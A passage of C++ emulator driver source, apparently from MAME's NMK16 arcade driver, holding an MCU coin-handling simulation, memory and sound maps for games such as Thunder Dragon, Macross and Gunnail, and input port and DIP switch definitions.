1; break; } } } else // Hacha Mecha Fighter { dsw[0] = (m_dsw_io[0]->read() & 0x0700) >> 8; dsw[1] = (m_dsw_io[0]->read() & 0x3800) >> 11; for (i = 0; i < 2; i++) { switch (dsw[i] & 7) { case 0: m_mainram[0x9000/2] |= 0x4000; break; //free play case 1: m_coin_count_frac[i] = 4; m_coin_count[i] = 1; break; case 2: m_coin_count_frac[i] = 3; m_coin_count[i] = 1; break; case 3: m_coin_count_frac[i] = 2; m_coin_count[i] = 1; break; case 4: m_coin_count_frac[i] = 1; m_coin_count[i] = 4; break; case 5: m_coin_count_frac[i] = 1; m_coin_count[i] = 3; break; case 6: m_coin_count_frac[i] = 1; m_coin_count[i] = 2; break; case 7: m_coin_count_frac[i] = 1; m_coin_count[i] = 1; break; } } } // read the coin port coin_input = (~(m_in_io[0]->read())); if (coin_input & 0x01)//coin 1 { if ((m_input_pressed & 0x01) == 0) { if (m_coin_count_frac[0] != 1) { m_mainram[0xef02/2] += m_coin_count[0]; if (m_coin_count_frac[0] == m_mainram[0xef02/2]) { m_mainram[0xef00/2] += m_coin_count[0]; m_mainram[0xef02/2] = 0; } } else m_mainram[0xef00/2] += m_coin_count[0]; } m_input_pressed = (m_input_pressed & 0xfe) | 1; } else m_input_pressed = (m_input_pressed & 0xfe); if (coin_input & 0x02)//coin 2 { if ((m_input_pressed & 0x02) == 0) { if (m_coin_count_frac[1] != 1) { m_mainram[0xef02/2] += m_coin_count[1]; if (m_coin_count_frac[1] == m_mainram[0xef02/2]) { m_mainram[0xef00/2] += m_coin_count[1]; m_mainram[0xef02/2] = 0; } } else m_mainram[0xef00/2] += m_coin_count[1]; } m_input_pressed = (m_input_pressed & 0xfd) | 2; } else m_input_pressed = (m_input_pressed & 0xfd); if (coin_input & 0x04)//service 1 { if ((m_input_pressed & 0x04) == 0) m_mainram[0xef00/2]++; m_input_pressed = (m_input_pressed & 0xfb) | 4; } else m_input_pressed = (m_input_pressed & 0xfb); // The 0x9000 ram address is the status if (m_mainram[0xef00/2] > 0 && m_mainram[0x9000/2] & 0x8000) // enable start button { if (coin_input & 0x08)//start 1 { if ((m_input_pressed & 0x08) == 0 && (!(m_mainram[0x9000/2] & 0x0200))) //start 1 m_start_helper = 1; m_input_pressed = (m_input_pressed & 0xf7) | 8; } else m_input_pressed = (m_input_pressed & 0xf7); if (coin_input & 0x10)//start 2 { // Decrease two coins to let two players play with one start 2 button and two credits inserted at the insert coin screen. if ((m_input_pressed & 0x10) == 0 && (!(m_mainram[0x9000/2] & 0x0100))) // start 2 m_start_helper = (m_mainram[0x9000/2] == 0x8000) ? (3) : (2); m_input_pressed = (m_input_pressed & 0xef) | 0x10; } else m_input_pressed = (m_input_pressed & 0xef); } } TIMER_DEVICE_CALLBACK_MEMBER(nmk16_state::tdragon_mcu_sim) { mcu_run(1); } TIMER_DEVICE_CALLBACK_MEMBER(nmk16_state::hachamf_mcu_sim) { mcu_run(0); } void nmk16_state::tdragon_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x044022, 0x044023).nopr(); // No Idea // map(0x0b0000, 0x0b7fff).ram(); // Work RAM // map(0x0b8000, 0x0b8fff).ram().share("spriteram"); // Sprite RAM // map(0x0b9000, 0x0bdfff).ram().share("mcu_work_ram"); // Work RAM // map(0x0be000, 0x0befff).lr(NAME([this] (offs_t offset) { return nmk16_mcu_shared_ram[offset]; })).w(FUNC(nmk16_state::tdragon_mcu_shared_w)).share("mcu_shared_ram"); // Work RAM // map(0x0bf000, 0x0bffff).ram(); // Work RAM map(0x0b0000, 0x0bffff).ram().share("mainram"); map(0x0c0000, 0x0c0001).portr("IN0"); map(0x0c0002, 0x0c0003).portr("IN1"); map(0x0c0008, 0x0c0009).portr("DSW1"); map(0x0c000a, 0x0c000b).portr("DSW2"); map(0x0c000f, 0x0c000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x0c0015, 0x0c0015).w(FUNC(nmk16_state::flipscreen_w)); // Maybe map(0x0c0016, 0x0c0017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0x0c0019, 0x0c0019).w(FUNC(nmk16_state::tilebank_w)); // Tile Bank? map(0x0c001f, 0x0c001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x0c4000, 0x0c4007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x0c8000, 0x0c87ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x0cc000, 0x0cffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x0d0000, 0x0d07ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); } // No sprites without this. Is it actually protection? u16 nmk16_state::tdragonb_prot_r() { return 0x0003; } void nmk16_state::tdragonb_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x044022, 0x044023).r(FUNC(nmk16_state::tdragonb_prot_r)); map(0x0b0000, 0x0bffff).ram().share("mainram"); map(0x0c0000, 0x0c0001).portr("IN0"); map(0x0c0002, 0x0c0003).portr("IN1"); map(0x0c0008, 0x0c0009).portr("DSW1"); map(0x0c000a, 0x0c000b).portr("DSW2"); map(0x0c0015, 0x0c0015).w(FUNC(nmk16_state::flipscreen_w)); // Maybe map(0x0c0019, 0x0c0019).w(FUNC(nmk16_state::tilebank_w)); // Tile Bank? map(0x0c001e, 0x0c001f).w("seibu_sound", FUNC(seibu_sound_device::main_mustb_w)); map(0x0c4000, 0x0c4007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x0c8000, 0x0c87ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x0cc000, 0x0cffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x0d0000, 0x0d07ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); } void nmk16_state::tdragonb2_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x0b0000, 0x0bffff).ram().share("mainram"); map(0x0c0000, 0x0c0001).portr("IN0"); map(0x0c0002, 0x0c0003).portr("IN1"); map(0x0c0008, 0x0c0009).portr("DSW1"); // .w TODO oki banking? map(0x0c000a, 0x0c000b).portr("DSW2"); //map(0x0c000e, 0x0c000f).r; TODO: what's this? map(0x0c0015, 0x0c0015).w(FUNC(nmk16_state::flipscreen_w)); // Maybe map(0x0c0019, 0x0c0019).w(FUNC(nmk16_state::tilebank_w)); // Tile Bank map(0x0c001f, 0x0c001f).w("oki", FUNC(okim6295_device::write)); map(0x0c4000, 0x0c4007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x0c8000, 0x0c87ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x0cc000, 0x0cffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x0d0000, 0x0d07ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); } void nmk16_state::ssmissin_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x0b0000, 0x0bffff).ram().share("mainram"); map(0x0c0000, 0x0c0001).portr("IN0"); map(0x0c0004, 0x0c0005).portr("IN1"); map(0x0c0006, 0x0c0007).portr("DSW1"); // map(0x0c000e, 0x0c000f).r(FUNC(nmk16_state::??)); map(0x0c0015, 0x0c0015).w(FUNC(nmk16_state::flipscreen_w)); // Maybe map(0x0c0019, 0x0c0019).w(FUNC(nmk16_state::tilebank_w)); // Tile Bank? map(0x0c001f, 0x0c001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); map(0x0c4000, 0x0c4007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x0c8000, 0x0c87ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x0cc000, 0x0cffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x0d0000, 0x0d07ff).mirror(0x1800).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); //mirror for airattck } void nmk16_state::ssmissin_sound_map(address_map &map) { map(0x0000, 0x7fff).rom(); map(0x8000, 0x87ff).ram(); map(0x9000, 0x9000).w(FUNC(nmk16_state::ssmissin_soundbank_w)); map(0x9800, 0x9800).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0xa000, 0xa000).r(m_soundlatch, FUNC(generic_latch_8_device::read)); } void nmk16_state::oki1_map(address_map &map) { map(0x00000, 0x1ffff).rom().region("oki1", 0); map(0x20000, 0x3ffff).bankr("okibank1"); } void nmk16_state::oki2_map(address_map &map) { map(0x00000, 0x1ffff).rom().region("oki2", 0); map(0x20000, 0x3ffff).bankr("okibank2"); } void nmk16_state::strahl_map(address_map &map) { map(0x00000, 0x3ffff).rom(); map(0x80000, 0x80001).portr("IN0"); map(0x80002, 0x80003).portr("IN1"); map(0x80008, 0x80009).portr("DSW1"); map(0x8000a, 0x8000b).portr("DSW2"); map(0x8000f, 0x8000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x80015, 0x80015).w(FUNC(nmk16_state::flipscreen_w)); map(0x80016, 0x80017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0x8001f, 0x8001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x84000, 0x84007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x88000, 0x88007).ram().w(FUNC(nmk16_state::scroll_w<1>)).umask16(0x00ff); map(0x8c000, 0x8c7ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x90000, 0x93fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x94000, 0x97fff).ram().w(FUNC(nmk16_state::bgvideoram_w<1>)).share("bgvideoram1"); map(0x9c000, 0x9c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0xf0000, 0xfffff).ram().share("mainram"); } void nmk16_state::strahljbl_map(address_map &map) { map(0x00000, 0x3ffff).rom(); map(0x80000, 0x80001).portr("IN0"); map(0x80002, 0x80003).portr("IN1"); map(0x80008, 0x80009).portr("DSW1"); map(0x8000a, 0x8000b).portr("DSW2"); map(0x80015, 0x80015).w(FUNC(nmk16_state::flipscreen_w)); map(0x8001e, 0x8001f).w("seibu_sound", FUNC(seibu_sound_device::main_mustb_w)); map(0x84000, 0x84007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x88000, 0x88007).ram().w(FUNC(nmk16_state::scroll_w<1>)).umask16(0x00ff); map(0x8c000, 0x8c7ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x90000, 0x93fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x94000, 0x97fff).ram().w(FUNC(nmk16_state::bgvideoram_w<1>)).share("bgvideoram1"); map(0x9c000, 0x9c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0xf0000, 0xfffff).ram().share("mainram"); } void nmk16_state::macross_map(address_map &map) { map(0x000000, 0x07ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(nmk16_state::mainram_strange_w)).share("mainram"); } void nmk16_state::gunnail_map(address_map &map) { map(0x000000, 0x07ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c1ff).writeonly().share("scrollram"); map(0x08c200, 0x08c3ff).writeonly().share("scrollramy"); map(0x08c400, 0x08c7ff).nopw(); // unknown map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09cfff).mirror(0x001000).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } void nmk16_state::gunnailb_map(address_map &map) { map(0x000000, 0x07ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x08000f, 0x08000f).r("soundlatch2", FUNC(generic_latch_8_device::read)); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); //map(0x080016, 0x080017).noprw(); map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c1ff).writeonly().share("scrollram"); map(0x08c200, 0x08c3ff).writeonly().share("scrollramy"); map(0x08c400, 0x08c7ff).nopw(); // unknown map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09cfff).mirror(0x001000).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); map(0x194001, 0x194001).w(m_oki[0], FUNC(okim6295_device::write)); } void nmk16_state::gunnailb_sound_map(address_map &map) { map(0x0000, 0x7fff).rom(); map(0x8000, 0xbfff).bankr("audiobank"); map(0xc000, 0xdfff).ram(); } void nmk16_state::gunnailb_sound_io_map(address_map &map) { map.global_mask(0xff); map(0x00, 0x00).w(FUNC(nmk16_state::macross2_sound_bank_w)); map(0x02, 0x03).rw("ymsnd", FUNC(ym2203_device::read), FUNC(ym2203_device::write)); map(0x04, 0x04).noprw(); // since the bootleggers used the same audio CPU ROM as airbustr but a different Oki ROM, they connected the Oki to the main CPU map(0x06, 0x06).r(m_soundlatch, FUNC(generic_latch_8_device::read)).w("soundlatch2", FUNC(generic_latch_8_device::write)); } void nmk16_state::macross2_map(address_map &map) { map(0x000000, 0x07ffff).rom(); map(0x100000, 0x100001).portr("IN0"); map(0x100002, 0x100003).portr("IN1"); map(0x100008, 0x100009).portr("DSW1"); map(0x10000a, 0x10000b).portr("DSW2"); map(0x10000f, 0x10000f).r("soundlatch2", FUNC(generic_latch_8_device::read)); // from Z80 map(0x100015, 0x100015).w(FUNC(nmk16_state::flipscreen_w)); map(0x100016, 0x100017).w(FUNC(nmk16_state::macross2_sound_reset_w)); // Z80 reset map(0x100019, 0x100019).w(FUNC(nmk16_state::tilebank_w)); map(0x10001f, 0x10001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); // to Z80 map(0x120000, 0x1207ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x130000, 0x130007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x140000, 0x14ffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x170000, 0x170fff).mirror(0x1000).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x1f0000, 0x1fffff).ram().share("mainram"); } void nmk16_state::tdragon2_map(address_map &map) { // mainram address scrambled macross2_map(map); map(0x1f0000, 0x1fffff).rw(FUNC(nmk16_state::mainram_swapped_r), FUNC(nmk16_state::mainram_swapped_w)).share("mainram"); } void nmk16_state::tdragon3h_map(address_map &map) { // bootleg has these 2 swapped tdragon2_map(map); map(0x10000e, 0x10000f).portr("DSW2"); map(0x10000b, 0x10000b).r("soundlatch2", FUNC(generic_latch_8_device::read)); // from Z80 } void nmk16_state::raphero_map(address_map &map) { map(0x000000, 0x07ffff).rom(); map(0x100000, 0x100001).portr("IN0"); map(0x100002, 0x100003).portr("IN1"); map(0x100008, 0x100009).portr("DSW1"); map(0x10000a, 0x10000b).portr("DSW2"); map(0x10000f, 0x10000f).r("soundlatch2", FUNC(generic_latch_8_device::read)); // from Z80 map(0x100015, 0x100015).w(FUNC(nmk16_state::flipscreen_w)); map(0x100016, 0x100017).nopw(); // IRQ enable or z80 sound reset like in Macross 2? map(0x100019, 0x100019).w(FUNC(nmk16_state::tilebank_w)); map(0x10001f, 0x10001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); // to Z80 map(0x120000, 0x1207ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x130000, 0x1301ff).ram().w(FUNC(nmk16_state::raphero_scroll_w)).share("scrollram"); map(0x130200, 0x1303ff).ram().share("scrollramy"); map(0x130400, 0x1307ff).ram(); map(0x140000, 0x14ffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x170000, 0x170fff).mirror(0x1000).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x1f0000, 0x1fffff).rw(FUNC(nmk16_state::mainram_swapped_r), FUNC(nmk16_state::mainram_swapped_w)).share("mainram"); } void nmk16_state::raphero_sound_mem_map(address_map &map) { map(0x0000, 0x7fff).rom(); map(0x8000, 0xbfff).bankr("audiobank"); map(0xc000, 0xc001).rw("ymsnd", FUNC(ym2203_device::read), FUNC(ym2203_device::write)); map(0xc800, 0xc800).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0xc808, 0xc808).rw(m_oki[1], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0xc810, 0xc817).w("nmk112", FUNC(nmk112_device::okibank_w)); map(0xd000, 0xd000).w(FUNC(nmk16_state::macross2_sound_bank_w)); map(0xd800, 0xd800).r(m_soundlatch, FUNC(generic_latch_8_device::read)).w("soundlatch2", FUNC(generic_latch_8_device::write)); // main cpu map(0xe000, 0xffff).ram(); } void nmk16_state::macross2_sound_map(address_map &map) { map(0x0000, 0x7fff).rom(); map(0x8000, 0xbfff).bankr("audiobank"); // banked ROM map(0xa000, 0xa000).nopr(); // IRQ ack? watchdog? map(0xc000, 0xdfff).ram(); map(0xe001, 0xe001).w(FUNC(nmk16_state::macross2_sound_bank_w)); map(0xf000, 0xf000).r(m_soundlatch, FUNC(generic_latch_8_device::read)).w("soundlatch2", FUNC(generic_latch_8_device::write)); // from 68000 } void nmk16_state::macross2_sound_io_map(address_map &map) { map.global_mask(0xff); map(0x00, 0x01).rw("ymsnd", FUNC(ym2203_device::read), FUNC(ym2203_device::write)); map(0x80, 0x80).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0x88, 0x88).rw(m_oki[1], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0x90, 0x97).w("nmk112", FUNC(nmk112_device::okibank_w)); } void nmk16_state::tdragon3h_sound_io_map(address_map &map) { map.global_mask(0xff); //map(0x00, 0x01).rw("ymsnd", FUNC(ym2203_device::read), FUNC(ym2203_device::write)); // writes here since ROM is the same as the original, but no chip on PCB //map(0x80, 0x80).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); // same as above map(0x88, 0x88).rw(m_oki[1], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0x90, 0x97).w("nmk112", FUNC(nmk112_device::okibank_w)); } void nmk16_state::bjtwin_map(address_map &map) { map(0x000000, 0x07ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x084001, 0x084001).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0x084011, 0x084011).rw(m_oki[1], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0x084020, 0x08402f).w("nmk112", FUNC(nmk112_device::okibank_w)).umask16(0x00ff); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x094001, 0x094001).w(FUNC(nmk16_state::tilebank_w)); map(0x094003, 0x094003).w(FUNC(nmk16_state::bjtwin_scroll_w)); // sabotenb specific? map(0x09c000, 0x09cfff).mirror(0x1000).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } static INPUT_PORTS_START( vandyke ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:8") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x00, "2" ) PORT_DIPSETTING( 0x01, "3" ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x02, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:6") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_SERVICE_DIPLOC( 0x08, IP_ACTIVE_LOW, "SW1:5" ) // The manual states this dip is "Unused" PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x20, DEF_STR( On ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x00, DEF_STR( Easy ) ) PORT_DIPSETTING( 0xc0, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x40, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x80, DEF_STR( Hardest ) ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x02, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x1c, 0x1c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x00, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x10, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x14, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x00, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x80, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) INPUT_PORTS_END static INPUT_PORTS_START( vandykeb ) PORT_INCLUDE( vandyke ) PORT_MODIFY("IN0") PORT_BIT( 0x40, IP_ACTIVE_HIGH, IPT_UNKNOWN ) // Tested on boot INPUT_PORTS_END static INPUT_PORTS_START( blkheart ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) 